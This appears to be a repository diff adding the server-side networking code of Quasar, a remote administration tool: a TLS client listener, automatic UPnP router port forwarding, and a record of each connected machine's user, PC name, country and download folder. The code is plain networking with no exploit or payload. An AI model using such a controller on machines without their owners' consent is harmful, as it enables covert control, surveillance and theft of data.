||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
|
||||
namespace Quasar.Server.Networking
|
||||
{
|
||||
public class Server
|
||||
{
|
||||
/// <summary>
|
||||
/// Occurs when the state of the server changes.
|
||||
/// </summary>
|
||||
public event ServerStateEventHandler ServerState;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle a change in the server's state.
|
||||
/// </summary>
|
||||
/// <param name="s">The server which changed its state.</param>
|
||||
/// <param name="listening">The new listening state of the server.</param>
|
||||
/// <param name="port">The port the server is listening on, if listening is True.</param>
|
||||
public delegate void ServerStateEventHandler(Server s, bool listening, ushort port);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the server has changed it's state.
|
||||
/// </summary>
|
||||
/// <param name="listening">The new listening state of the server.</param>
|
||||
private void OnServerState(bool listening)
|
||||
{
|
||||
if (Listening == listening) return;
|
||||
|
||||
Listening = listening;
|
||||
|
||||
var handler = ServerState;
|
||||
handler?.Invoke(this, listening, Port);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when the state of a client changes.
|
||||
/// </summary>
|
||||
public event ClientStateEventHandler ClientState;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle a change in a client's state.
|
||||
/// </summary>
|
||||
/// <param name="s">The server, the client is connected to.</param>
|
||||
/// <param name="c">The client which changed its state.</param>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
public delegate void ClientStateEventHandler(Server s, Client c, bool connected);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that a client has changed its state.
|
||||
/// </summary>
|
||||
/// <param name="c">The client which changed its state.</param>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
private void OnClientState(Client c, bool connected)
|
||||
{
|
||||
if (!connected)
|
||||
RemoveClient(c);
|
||||
|
||||
var handler = ClientState;
|
||||
handler?.Invoke(this, c, connected);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a message is received by a client.
|
||||
/// </summary>
|
||||
public event ClientReadEventHandler ClientRead;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle a message received from a client.
|
||||
/// </summary>
|
||||
/// <param name="s">The server, the client is connected to.</param>
|
||||
/// <param name="c">The client that has received the message.</param>
|
||||
/// <param name="message">The message that received by the client.</param>
|
||||
public delegate void ClientReadEventHandler(Server s, Client c, IMessage message);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that a message has been
|
||||
/// received from the client.
|
||||
/// </summary>
|
||||
/// <param name="c">The client that has received the message.</param>
|
||||
/// <param name="message">The message that received by the client.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
private void OnClientRead(Client c, IMessage message, int messageLength)
|
||||
{
|
||||
BytesReceived += messageLength;
|
||||
var handler = ClientRead;
|
||||
handler?.Invoke(this, c, message);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a message is sent by a client.
|
||||
/// </summary>
|
||||
public event ClientWriteEventHandler ClientWrite;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle the sent message by a client.
|
||||
/// </summary>
|
||||
/// <param name="s">The server, the client is connected to.</param>
|
||||
/// <param name="c">The client that has sent the message.</param>
|
||||
/// <param name="message">The message that has been sent by the client.</param>
|
||||
public delegate void ClientWriteEventHandler(Server s, Client c, IMessage message);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the client has sent a message.
|
||||
/// </summary>
|
||||
/// <param name="c">The client that has sent the message.</param>
|
||||
/// <param name="message">The message that has been sent by the client.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
private void OnClientWrite(Client c, IMessage message, int messageLength)
|
||||
{
|
||||
BytesSent += messageLength;
|
||||
var handler = ClientWrite;
|
||||
handler?.Invoke(this, c, message);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The port on which the server is listening.
|
||||
/// </summary>
|
||||
public ushort Port { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// The total amount of received bytes.
|
||||
/// </summary>
|
||||
public long BytesReceived { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// The total amount of sent bytes.
|
||||
/// </summary>
|
||||
public long BytesSent { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// The buffer size for receiving data in bytes.
|
||||
/// </summary>
|
||||
private const int BufferSize = 1024 * 16; // 16 KB
|
||||
|
||||
/// <summary>
|
||||
/// The keep-alive time in ms.
|
||||
/// </summary>
|
||||
private const uint KeepAliveTime = 25000; // 25 s
|
||||
|
||||
/// <summary>
|
||||
/// The keep-alive interval in ms.
|
||||
/// </summary>
|
||||
private const uint KeepAliveInterval = 25000; // 25 s
|
||||
|
||||
/// <summary>
|
||||
/// The buffer pool to hold the receive-buffers for the clients.
|
||||
/// </summary>
|
||||
private readonly BufferPool _bufferPool = new BufferPool(BufferSize, 1) { ClearOnReturn = false };
|
||||
|
||||
/// <summary>
|
||||
/// The listening state of the server. True if listening, else False.
|
||||
/// </summary>
|
||||
public bool Listening { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the clients currently connected to the server.
|
||||
/// </summary>
|
||||
protected Client[] Clients
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_clientsLock)
|
||||
{
|
||||
return _clients.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Handle of the Server Socket.
|
||||
/// </summary>
|
||||
private Socket _handle;
|
||||
|
||||
/// <summary>
|
||||
/// The server certificate.
|
||||
/// </summary>
|
||||
protected readonly X509Certificate2 ServerCertificate;
|
||||
|
||||
/// <summary>
|
||||
/// The event to accept new connections asynchronously.
|
||||
/// </summary>
|
||||
private SocketAsyncEventArgs _item;
|
||||
|
||||
/// <summary>
|
||||
/// List of the clients connected to the server.
|
||||
/// </summary>
|
||||
private readonly List<Client> _clients = new List<Client>();
|
||||
|
||||
/// <summary>
|
||||
/// The UPnP service used to discover, create and delete port mappings.
|
||||
/// </summary>
|
||||
private UPnPService _UPnPService;
|
||||
|
||||
/// <summary>
|
||||
/// Lock object for the list of clients.
|
||||
/// </summary>
|
||||
private readonly object _clientsLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the server is currently processing Disconnect method.
|
||||
/// </summary>
|
||||
protected bool ProcessingDisconnect { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Constructor of the server, initializes serializer types.
|
||||
/// </summary>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
protected Server(X509Certificate2 serverCertificate)
|
||||
{
|
||||
ServerCertificate = serverCertificate;
|
||||
TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins listening for clients.
|
||||
/// </summary>
|
||||
/// <param name="port">Port to listen for clients on.</param>
|
||||
/// <param name="ipv6">If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket.</param>
|
||||
/// <param name="enableUPnP">Enables the automatic UPnP port forwarding.</param>
|
||||
public void Listen(ushort port, bool ipv6, bool enableUPnP)
|
||||
{
|
||||
if (Listening) return;
|
||||
this.Port = port;
|
||||
|
||||
if (enableUPnP)
|
||||
{
|
||||
_UPnPService = new UPnPService();
|
||||
_UPnPService.CreatePortMapAsync(port);
|
||||
}
|
||||
|
||||
if (Socket.OSSupportsIPv6 && ipv6)
|
||||
{
|
||||
_handle = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
|
||||
_handle.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, 0);
|
||||
_handle.Bind(new IPEndPoint(IPAddress.IPv6Any, port));
|
||||
}
|
||||
else
|
||||
{
|
||||
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
_handle.Bind(new IPEndPoint(IPAddress.Any, port));
|
||||
}
|
||||
_handle.Listen(1000);
|
||||
|
||||
OnServerState(true);
|
||||
|
||||
_item = new SocketAsyncEventArgs();
|
||||
_item.Completed += AcceptClient;
|
||||
|
||||
if (!_handle.AcceptAsync(_item))
|
||||
AcceptClient(this, _item);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Accepts and begins authenticating an incoming client.
|
||||
/// </summary>
|
||||
/// <param name="s">The sender.</param>
|
||||
/// <param name="e">Asynchronous socket event.</param>
|
||||
private void AcceptClient(object s, SocketAsyncEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
do
|
||||
{
|
||||
switch (e.SocketError)
|
||||
{
|
||||
case SocketError.Success:
|
||||
SslStream sslStream = null;
|
||||
try
|
||||
{
|
||||
Socket clientSocket = e.AcceptSocket;
|
||||
clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime);
|
||||
sslStream = new SslStream(new NetworkStream(clientSocket, true), false);
|
||||
// the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket
|
||||
sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls12, false, EndAuthenticateClient,
|
||||
new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint});
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
sslStream?.Close();
|
||||
}
|
||||
break;
|
||||
case SocketError.ConnectionReset:
|
||||
break;
|
||||
default:
|
||||
throw new SocketException((int) e.SocketError);
|
||||
}
|
||||
|
||||
e.AcceptSocket = null; // enable reuse
|
||||
} while (!_handle.AcceptAsync(e));
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
private class PendingClient
|
||||
{
|
||||
public SslStream Stream { get; set; }
|
||||
public IPEndPoint EndPoint { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Ends the authentication process of a newly connected client.
|
||||
/// </summary>
|
||||
/// <param name="ar">The status of the asynchronous operation.</param>
|
||||
private void EndAuthenticateClient(IAsyncResult ar)
|
||||
{
|
||||
var con = (PendingClient) ar.AsyncState;
|
||||
try
|
||||
{
|
||||
con.Stream.EndAuthenticateAsServer(ar);
|
||||
|
||||
Client client = new Client(_bufferPool, con.Stream, con.EndPoint);
|
||||
AddClient(client);
|
||||
OnClientState(client, true);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
con.Stream.Close();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds a connected client to the list of clients,
|
||||
/// subscribes to the client's events.
|
||||
/// </summary>
|
||||
/// <param name="client">The client to add.</param>
|
||||
private void AddClient(Client client)
|
||||
{
|
||||
lock (_clientsLock)
|
||||
{
|
||||
client.ClientState += OnClientState;
|
||||
client.ClientRead += OnClientRead;
|
||||
client.ClientWrite += OnClientWrite;
|
||||
_clients.Add(client);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Removes a disconnected client from the list of clients,
|
||||
/// unsubscribes from the client's events.
|
||||
/// </summary>
|
||||
/// <param name="client">The client to remove.</param>
|
||||
private void RemoveClient(Client client)
|
||||
{
|
||||
if (ProcessingDisconnect) return;
|
||||
|
||||
lock (_clientsLock)
|
||||
{
|
||||
client.ClientState -= OnClientState;
|
||||
client.ClientRead -= OnClientRead;
|
||||
client.ClientWrite -= OnClientWrite;
|
||||
_clients.Remove(client);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disconnect the server from all of the clients and discontinue
|
||||
/// listening (placing the server in an "off" state).
|
||||
/// </summary>
|
||||
public void Disconnect()
|
||||
{
|
||||
if (ProcessingDisconnect) return;
|
||||
ProcessingDisconnect = true;
|
||||
|
||||
if (_handle != null)
|
||||
{
|
||||
_handle.Close();
|
||||
_handle = null;
|
||||
}
|
||||
|
||||
if (_item != null)
|
||||
{
|
||||
_item.Dispose();
|
||||
_item = null;
|
||||
}
|
||||
|
||||
if (_UPnPService != null)
|
||||
{
|
||||
_UPnPService.DeletePortMapAsync(Port);
|
||||
_UPnPService = null;
|
||||
}
|
||||
|
||||
lock (_clientsLock)
|
||||
{
|
||||
while (_clients.Count != 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
_clients[0].Disconnect();
|
||||
_clients[0].ClientState -= OnClientState;
|
||||
_clients[0].ClientRead -= OnClientRead;
|
||||
_clients[0].ClientWrite -= OnClientWrite;
|
||||
_clients.RemoveAt(0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ProcessingDisconnect = false;
|
||||
OnServerState(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
using Open.Nat;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Server.Networking
|
||||
{
|
||||
public class UPnPService
|
||||
{
|
||||
/// <summary>
|
||||
/// Used to keep track of all created mappings.
|
||||
/// </summary>
|
||||
private readonly Dictionary<int, Mapping> _mappings = new Dictionary<int, Mapping>();
|
||||
|
||||
/// <summary>
|
||||
/// The discovered UPnP device.
|
||||
/// </summary>
|
||||
private NatDevice _device;
|
||||
|
||||
/// <summary>
|
||||
/// The NAT discoverer used to discover NAT-UPnP devices.
|
||||
/// </summary>
|
||||
private NatDiscoverer _discoverer;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes the discovery of new UPnP devices.
|
||||
/// </summary>
|
||||
public UPnPService()
|
||||
{
|
||||
_discoverer = new NatDiscoverer();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new port mapping on the UPnP device.
|
||||
/// </summary>
|
||||
/// <param name="port">The port to map.</param>
|
||||
public async void CreatePortMapAsync(int port)
|
||||
{
|
||||
try
|
||||
{
|
||||
var cts = new CancellationTokenSource(10000);
|
||||
_device = await _discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts);
|
||||
|
||||
Mapping mapping = new Mapping(Protocol.Tcp, port, port);
|
||||
|
||||
await _device.CreatePortMapAsync(mapping);
|
||||
|
||||
if (_mappings.ContainsKey(mapping.PrivatePort))
|
||||
_mappings[mapping.PrivatePort] = mapping;
|
||||
else
|
||||
_mappings.Add(mapping.PrivatePort, mapping);
|
||||
}
|
||||
catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes an existing port mapping.
|
||||
/// </summary>
|
||||
/// <param name="port">The port mapping to delete.</param>
|
||||
public async void DeletePortMapAsync(int port)
|
||||
{
|
||||
if (_mappings.TryGetValue(port, out var mapping))
|
||||
{
|
||||
try
|
||||
{
|
||||
await _device.DeletePortMapAsync(mapping);
|
||||
_mappings.Remove(mapping.PrivatePort);
|
||||
}
|
||||
catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using Quasar.Common.Cryptography;
|
||||
using Quasar.Common.Helpers;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Server.Networking
|
||||
{
|
||||
public class UserState
|
||||
{
|
||||
private string _downloadDirectory;
|
||||
private Aes256 _aesInstance;
|
||||
|
||||
public string Version { get; set; }
|
||||
public string OperatingSystem { get; set; }
|
||||
public string AccountType { get; set; }
|
||||
public int ImageIndex { get; set; }
|
||||
public string Country { get; set; }
|
||||
public string CountryCode { get; set; }
|
||||
public string Id { get; set; }
|
||||
public string Username { get; set; }
|
||||
public string PcName { get; set; }
|
||||
public string UserAtPc => $"{Username}@{PcName}";
|
||||
public string CountryWithCode => $"{Country} [{CountryCode}]";
|
||||
public string Tag { get; set; }
|
||||
public string EncryptionKey { get; set; }
|
||||
|
||||
public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey));
|
||||
|
||||
public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc))
|
||||
? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\")
|
||||
: Path.Combine(Application.StartupPath, $"Clients\\{Id}\\"));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user